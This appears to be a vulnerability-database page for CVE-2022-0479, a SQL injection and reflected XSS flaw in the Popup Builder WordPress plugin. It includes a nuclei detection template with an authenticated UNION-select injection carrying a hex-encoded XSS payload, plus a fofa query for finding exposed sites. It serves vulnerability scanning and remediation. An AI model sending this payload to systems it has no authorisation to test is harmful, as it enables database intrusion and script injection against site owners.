HexBrain

Browse / CVEs / CVE-2022-0479

CVE-2022-0479· sygnoos / popup builder· CWE-89

Popup Builder Plugin - SQL Injection and Cross-Site Scripting

criticalseverity
9.8CVSS score
43.8%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

The Popup Builder WordPress plugin before 4.1.1 is vulnerable to SQL Injection and Reflected XSS via the sgpb-subscription-popup-id parameter.

Impact

Allows attackers to execute malicious SQL queries and inject scripts into web pages

Fix

Update Popup Builder Plugin to the latest secure version

How to confirm it

Send: GET /
Positive when: contains(tolower(body), "/wp-content/plugins/popup-builder")
Send: POST /wp-login.php ; GET /wp-admin/edit.php?post_type=popupbuilder&page=sgpbSubscribers&sgpb-subscription-popup-id=0%29+union+all++select+1%2C0x3c696d6720737263206f6e6572726f723d61…
Positive when: contains "<img src=onerror=alert(document.domain)></td><td>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0479 -u <target>

The full check
id: CVE-2022-0479

info:
  name: Popup Builder Plugin - SQL Injection and Cross-Site Scripting
  author: ritikchaddha
  severity: critical
  description: |
    The Popup Builder WordPress plugin before 4.1.1 is vulnerable to SQL Injection and Reflected XSS via the sgpb-subscription-popup-id parameter.
  impact: |
    Allows attackers to execute malicious SQL queries and inject scripts into web pages
  remediation: |
    Update Popup Builder Plugin to the latest secure version
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0479
    cwe-id: CWE-89
    epss-score: 0.43807
    epss-percentile: 0.98757
    cpe: cpe:2.3:a:sygnoos:popup_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: sygnoos
    product: popup_builder
    framework: wordpress
    fofa-query: body="/wp-content/plugins/popup-builder"
  tags: cve,cve2022,wp,wp-plugin,wordpress,popup-builder,xss,sqli,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "/wp-content/plugins/popup-builder")'
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/edit.php?post_type=popupbuilder&page=sgpbSubscribers&sgpb-subscription-popup-id=0%29+union+all++select+1%2C0x3c696d6720737263206f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e%2C3%2C4%2C5%2C6+--+g HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=onerror=alert(document.domain)></td><td>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

Use this check only on systems you are authorised to test. Where the data comes from